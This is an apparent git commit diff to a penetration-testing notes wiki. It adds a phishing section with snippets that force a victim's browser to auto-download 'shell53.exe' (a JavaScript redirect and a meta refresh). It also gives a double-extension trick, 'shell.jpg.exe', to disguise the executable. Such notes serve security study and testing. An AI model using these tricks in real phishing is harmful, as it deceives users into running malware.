Commit e6168049 authored by bobloblaw's avatar bobloblaw
Browse files

Updates social_engineering_-_phishing.md 

Auto commit by GitBook Editor
parent a7d341f3

SUMMARY.md

+1 −0
Original line number Diff line number Diff line
@@ -67,6 +67,7 @@ 
    * [Shells](reverse-shell.md)

    * [Webshell](webshell.md)

    * [Generate Shellcode](create_shellcode.md)

    * [Editing Exploits](editing-exploits.md)

* [Post Exploitation](post_exploitation.md)

    * [Spawning Shells](spawning_shells.md)

    * [Meterpreter for Post-Exploitation](getting_meterpreter_shell.md)

editing-exploits.md

0 → 100644
+0 −0

Empty file added.

social_engineering_-_phishing.md

+29 −1
Original line number Diff line number Diff line 
# Social Engineering - Phishing



Gaining initial access to a network can be done using phishing techniques.

Gaining initial access to a network is often done using different kinds of social engineering attacks.



## Auto-download a malicious file



The techical part is not really that difficult here. In order to auto-download a file you just add this script to the malicious webpage



```

<script> document.location.href = 'shell53.exe'; </script>

```



Another way to do it is like this



```

<html>

<head>

<meta http-equiv="refresh" content="0; url=shell53.exe">

</head>

</html>

```



Of course the user will have to accept to download the file, unless the user has previously checked in the box automatically download. The user must then click the file for it to execute. This is where the social engineering part comes in, you really must trick the user into executing the file.



### Change the filename



Since windows by default remove the filename you can call your file shell.jpg.exe, and once downloaded onto the machine windows will display it as "shell.jpg".





## ActiveX





The most common tool for social engineering is to use Social Engineering Toolkit. SET. It comes as default in Kali. Run it like this: